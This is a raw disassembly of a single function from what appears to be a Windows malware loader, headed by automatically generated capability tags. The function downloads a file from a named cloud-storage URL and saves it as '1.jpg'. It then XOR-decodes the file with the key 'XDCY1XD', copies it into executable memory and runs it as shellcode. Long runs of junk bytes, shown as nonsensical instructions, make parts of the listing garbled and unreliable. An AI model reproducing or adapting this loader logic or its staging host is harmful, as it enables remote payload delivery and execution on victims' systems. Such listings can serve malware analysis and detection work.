Function at 0x14001f930
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Get file attributes
Read file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
cmp dword [0x140024004], 0
jne 0x14000e03c
nop
nop
nop
nop
nop
nop
nop
jge 0x14000d3b3
jmp 0x1414539e0
sub dword [rsi + 0x44], esp
add ecx, ebp
push rsp
add r9d, ebp
out dx, eax
mov esp, 0x9ae90134
cmp eax, 0x35e901ab
stosb byte [rdi], al
add ecx, ebp
nop
popfq
stosd dword [rdi], eax
add dword [rdi + 0x22], ebp
add ecx, ebp
test al, 0xa7
sbb byte [rcx], al
jmp 0x14119e000
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x1f4
call rsi
mov ecx, 0x1f4
call rsi
mov ecx, 0x1f4
call rsi
mov ecx, 0x1f4
call rsi
xor eax, eax
cmp dword [0x140024008], 3
jl 0x14001f914
cmp dword [0x140024004], 0
jne 0x14000ecf1
nop
nop
nop
nop
nop
pop rsp
add cl, byte [rsi]
add ecx, ebp
xchg edi, eax
pop rax
fiadd word [rax]
jmp 0x140d87920
call fcn.140007c50
cmp dword [0x140024004], 0
jne 0x14000f979
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x141a52990
lea rcx, section..tls
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x140024004]
test rax, rax
je 0x140018246
mov r14, rax
test ecx, ecx
jne 0x140010616
cmp al, 0xd
mov dl, 1
jmp 0x1419991d0
lea rdx, [0x140026010]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov eax, dword [0x140024004]
test rsi, rsi
je 0x140018ece
test eax, eax
jne 0x1400112b6
pop rsp
scasb al, byte [rdi]
xchg edx, eax
add ecx, ebp
push rdi
stosd dword [rdi], eax
xchg edx, eax
add ecx, ebp
ret 0x8f99
lea rcx, str.1.jpg
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140011f75
cmp dword [0x140024004], 0
jne 0x140011f4f
nop
nop
nop
nop
nop
nop
nop
jmp 0x1410dee70
mov qword [rsp + 0x20], 0
lea rdx, str.https:__wwwwasdadqewefqwe23_1326536101.cos.ap_hongkong.myqcloud.com_23.txt
lea r8, str.1.jpg
xor ecx, ecx
xor r9d, r9d
call rsi
test eax, eax
js 0x14001ec6a
cmp dword [0x140024004], 0
jne 0x140012ad6
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
test byte [rsi], bl
add ecx, ebp
call 0x1290231d8
mov bl, 0xf2
or al, byte [rcx]
jmp 0xf4adf9a0
lea rcx, str.1.jpg
lea rdx, [0x140022110]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov rsi, rax
mov eax, dword [0x140024004]
test rsi, rsi
je 0x14001d47e
test eax, eax
jne 0x140013779
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x140dd36d0
mov rcx, rsi
xor edx, edx
mov r8d, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fseek
cmp dword [0x140024004], 0
jne 0x1400142ea
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add cl, ch
push 0x28
jg 0x1400137a6
jmp 0x1403189dc
mov rcx, rsi
call sub.api_ms_win_crt_stdio_l1_1_0.dll_ftell
mov ebp, eax
movsxd rdi, eax
mov rcx, rsi
xor edx, edx
xor r8d, r8d
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fseek
mov ebx, dword [0x140024004]
test ebx, ebx
jne 0x140014e6c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
int3
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test rax, rax
je 0x14001dfdf
mov r15, rax
test ebx, ebx
jne 0x140015afe
nop
nop
nop
nop
nop
nop
nop
nop
wait
add ecx, ebp
cmp dword [rbp - 0x1b16fe7a], ebp
adc al, 0x85
add ecx, ebp
sub al, 0x84
or ch, byte [rsi - 0x53f716ff]
test al, 1
jmp 0x141a9f080
mov edx, 1
mov rcx, r15
mov r8, rdi
mov r9, rsi
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fread
mov rcx, rsi
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
mov eax, dword [0x140024004]
test eax, eax
jne 0x140017427
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x140b46350
test eax, eax
sete bl
test ebp, ebp
je 0x140019a2f
xor ecx, ecx
movabs rbp, 0x2492492492492493
lea rsi, str.XDCY1XD
jmp 0x140017467
add rcx, 1
cmp dword [0x140024004], 0
sete bl
cmp rdi, rcx
je 0x140019a2f
mov rax, rcx
mul rbp
test bl, 1
je 0x14001820e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp al, 0x3c
movabs dword [0x12e9019810d7e901], eax
or eax, 0x2de90189
stosd dword [rdi], eax
add ecx, ebp
stc
and dword [rdx - 0x22bb16ff], 0xffffffa9
add ecx, ebp
pop rdi
movsd dword [rdi], dword [rsi]
sahf
add ecx, ebp
mov al, byte [rsi + 0x45e901b2]
xor dword [rax - 0x17ff16ff], esi
lodsd eax, dword [rsi]
add dword [rdi + 0x5499e901], edi
mov edi, 0x46e4e901
mov esi, 0x810fe901
mov cl, 0x6d
invalid
cmp dword [0x140024008], 3
jl 0x140017450
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
lea rdx, [rax*8]
sub rax, rdx
add rax, rcx
movzx eax, byte [rsi + rax]
xor byte [r15 + rcx], al
jmp 0x140017450
mov eax, 1
test ecx, ecx
jne 0x14001f914
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sahf
add cl, ch
cmp esi, edi
cdq
add cl, ch
in al, 0x77
pop rsi
add cl, ch
push r14
pop rsp
add ecx, ebp
cli
movsd dword [rdi], dword [rsi]
xchg esi, eax
add ecx, ebp
movsd dword [rdi], dword [rsi]
xor eax, 0xa0e9018a
sbb dword [rsi + 1], edi
add ecx, ebp
invalid
test eax, eax
jne 0x14001f906
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sbb al, 0xa6
mov eax, dword [rcx]
jmp 0x14189c950
test bl, bl
je 0x14001a58b
nop
nop
nop
nop
nop
nop
nop
nop
nop
xlatb
xor eax, dword [rcx]
jmp 0x1411bcd90
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor ecx, ecx
mov rdx, rdi
mov r8d, 0x1000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
cmp dword [0x140024004], 0
jne 0x14001b106
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x14001a5a2
scasb al, byte [rdi]
add ecx, ebp
ja 0x14001a630
scasb al, byte [rdi]
add ecx, ebp
jb 0x14001a581
test eax, 0xede901
jmp 0x14086aca0
lodsb al, byte [rsi]
shr eax, 0
jmp 0x140dd4da0
mov rcx, rsi
mov rdx, r15
mov r8, rdi
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
cmp dword [0x140024004], 0
jne 0x14001bd97
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop rsp
xchg dword [rcx], edi
add cl, ch
push rdi
std
add cl, ch
adc dh, byte [rdi]
invalid
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call rsi
mov rcx, r15
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
cmp dword [0x140024004], 0
jne 0x14001c90d
nop
nop
nop
nop
nop
nop
nop
cld
jmp qword [rsi - 0x24e816ff]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
cmp dword [0x140024004], 0
jne 0x14001f914
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x141ab2510
test eax, eax
jne 0x14001f906
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor esp, dword [rbx]
jmp 0x1404d7410
test ebx, ebx
jne 0x14001ec5d
nop
nop
nop
nop
nop
nop
nop
nop
nop
int3
mov rcx, rsi
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
jmp 0x14001f906
cmp dword [0x140024004], 0
jne 0x14001f8ed
nop
nop
nop
nop
nop
nop
nop
nop
nop
add cl, ch
mov edx, 0xe900c401
cmc
mov esp, 0x8e30e900
movabs al, byte [0xbae7e9019e199c00]
xchg esi, eax
add ecx, ebp
movabs byte [0x8d2b0cbde9019457], al
add ecx, ebp
invalid
lea rdx, str.AAAA
lea r8, str.XDCY1XD
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov rsi, qword [0x140022120]
call fcn.14001fa20
mov rcx, qword [rsi]
mov rax, qword [0x140022128]
mov r8, qword [rax]
mov rax, qword [0x140022130]
mov r9d, dword [rax]
xor edx, edx
add rsp, 0x28
pop rsi
pop rbp
jmp 0x14000d390